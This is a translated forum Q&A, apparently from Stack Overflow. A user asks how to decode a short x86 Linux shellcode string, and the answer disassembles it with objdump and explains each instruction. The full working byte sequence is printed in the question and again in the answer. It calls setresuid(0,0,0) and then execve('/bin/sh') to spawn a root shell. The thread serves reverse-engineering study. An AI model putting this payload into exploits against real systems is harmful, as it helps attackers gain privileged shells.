如何检查给定shellcode执行的命令?
问题描述:
比方说,我给下面的shellcode:如何检查给定shellcode执行的命令?
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
如何检查是什么意思/它所代表的ASM的指令? 谢谢:)
答
编译和反汇编它!对于你的例子:
$ cat example.c
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
$ make example.o
cc -c -o example.o example.c
$ objdump -D example.o
example.o: file format elf64-x86-64
Disassembly of section .data:
0000000000000000 <shellcode>:
0: 31 c0 xor %eax,%eax
2: 31 db xor %ebx,%ebx
4: 31 c9 xor %ecx,%ecx
6: 99 cltd
7: b0 a4 mov $0xa4,%al
9: cd 80 int $0x80
b: 6a 0b pushq $0xb
d: 58 pop %rax
e: 51 push %rcx
f: 68 2f 2f 73 68 pushq $0x68732f2f
14: 68 2f 62 69 6e pushq $0x6e69622f
19: 89 e3 mov %esp,%ebx
1b: 51 push %rcx
1c: 89 e2 mov %esp,%edx
1e: 53 push %rbx
1f: 89 e1 mov %esp,%ecx
21: cd 80 int $0x80
...
的使用注意事项objdump
的-D
标志的拆卸所有部分,而不仅仅是它认为可执行部分是。
至于什么该代码表示,我想我们可以把它分解一块一块的(从上面,与行内注释):
xor %eax,%eax // clear eax register
xor %ebx,%ebx // clear ebx register
xor %ecx,%ecx // clear ecx register
cltd // clear edx register (via sign-extension of eax
// - only a compiler would do this operation
// in this way, I'd guess, so your shell code
// probably wasn't hand-written
mov $0xa4,%al // put 0xa4 (decimal 164) into eax
int $0x80 // do system call. Syscall 164 is "sys_setresuid"
// - it takes three parameters, in ebx, ecx, and edx,
// so in this case, it's calling sys_setresuid(0, 0, 0);
pushq $0xb // push constant 0xb (decimal 11) to the stack
pop %rax // pop it back into rax
push %rcx // push the 0 in rcx to the stack
pushq $0x68732f2f // push constant to the stack (looks like ASCII? "//sh")
pushq $0x6e69622f // push constant to the stack (looks like ASCII? "/bin")
mov %esp,%ebx // put a pointer to this stack pushed stuff into ebx
push %rcx // push rcx again, it's still 0
mov %esp,%edx // put a pointer to this 0 on the stack into edx
push %rbx // push rbx, it's 0 too
mov %esp,%ecx // put a pointer to this 0 into ecx
int $0x80 // system call again - this time, it's call 11, which is
// sys_execve. It takes a pointer to a filename to execute
// and two more pointers to the arguments and environment to
// pass
所以这段代码首先调用:
sys_setresuid(0, 0, 0)
为了赋予它自己的root权限,然后调用sys_execve()
开始运行/bin/sh
,给出一个shell提示符。
谢谢Carl!很好的回答: 虽然有几个问题: 你怎么知道哪个系统调用“int”调用?我想这跟0x80有什么关系,那是什么? 我已经做了一些ASM,并开始寻找x86 intel的一个,所以这个与我所知道的有点不同(例如,我猜“int”相当于“call”)。 – Shookie
'int 0x80'是一个软件中断,意思是“嘿内核我想做一个系统调用”。系统调用号码在'eax'中。你可以很容易地谷歌搜索列表(这就是我所做的)。 –
@Sookie这里有一个很好的[Linux Syscall Reference](http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html)页面。搜索系统调用号码以查找相应的系统调用。 –